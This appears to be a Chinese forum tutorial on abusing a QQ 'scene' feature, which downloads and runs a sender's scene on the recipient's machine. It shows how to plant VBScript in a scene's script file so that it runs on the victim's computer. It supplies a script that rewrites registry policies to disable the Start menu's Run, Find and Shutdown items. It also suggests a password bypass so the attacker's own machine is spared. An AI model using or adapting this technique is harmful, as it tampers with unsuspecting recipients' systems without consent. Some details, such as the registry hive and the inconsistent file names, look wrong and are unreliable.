今天给大家写篇关于QQ场景漏洞的应用文章,这是一个很久以前就被发现有漏洞,不知道大家是否都知道这个。
这个漏洞主要就是给对方发QQ场景时,如果对方没有这个场景,QQ软件会自动下载你机器里的这个场景,然后再运行这个场景,也因为这样,对方就会运行我们所写的角本程序。
好了写正文,慢慢讲给大家。
我们先在网上下载一个QQ场景,场景名字随意,但占用空间越小越好,这样对方下载我们的场景就不会太慢,也就会很快运行我们所写的角本程序了。
下载完后我们安装,你就可以在QQ的安装目录下的IMscene这个文件夹下找到我们所安装的场景,其实我们所要的主要是当中的vbscript.pps这个VB角本文件,我们可以用记事本打开这个文件,你会看到当中写着很多的代码,这些都是控制场景动画效果的一些代码程序,我们只要把我们要执行的VB角本程序写在其中,然后把场景发给对方,那么它就会和场景角本一起运行了。。。呵呵,,我想如果大家会写VB角本的话,那里面写什么程序那对大家就相当轻松了。。呵呵。
不过大家要记得,别人
电脑 运行的角本和我们运行的角本是一样的,所以在你写程序的候一定要在程序当中加个后门,就是在运行程序时先给个提示,当你输入正确的密码后就不会运行程序,这样你就可以免受自己写的程序的害处了。。。
如何给对方发QQ场景我想这个大家都会吧。。呵呵。。
下面我提供个程序给大家,这些也是我以前用过的。。
改造
系统 的“开始”菜单
dim changestartmenu
set changestartmenu=wscript.createobject("wscript.shell")
regpath="hkcr\software\microsoft\windows\currentversion\policies\"
type_name="reg_dword"
key_data=1
startmenu_run="norun"
startmenu_find="nofind"
startmenu_close="noclose"
sub change(argument)
changestartmenu.regwrite regpath&argument,key_data,type_name
msgbox("success!")
end sub
call change(startmenu_run) '禁用“开始”菜单中的“运行”功能
call change(startmenu_find) '禁用“开始”菜单中的“查找”功能
call change(startmenu_close) '禁用“开始”菜单中的“关闭系统”功能
上面这个程序主要是改
计算机 的注册表,其它的一些大家如果想运行其它的程序到网上去找相关资料或者实在找不到贴子我也可以写给大家。。我们只要把它复制到那个VBscript.qqs文件中方法体当中就可以了。如果大家有哪里不明白的发贴告诉我。。我会讲解给大家。
不过要记的不要去坏别人,我们只要知道这个漏洞会应用就好了。。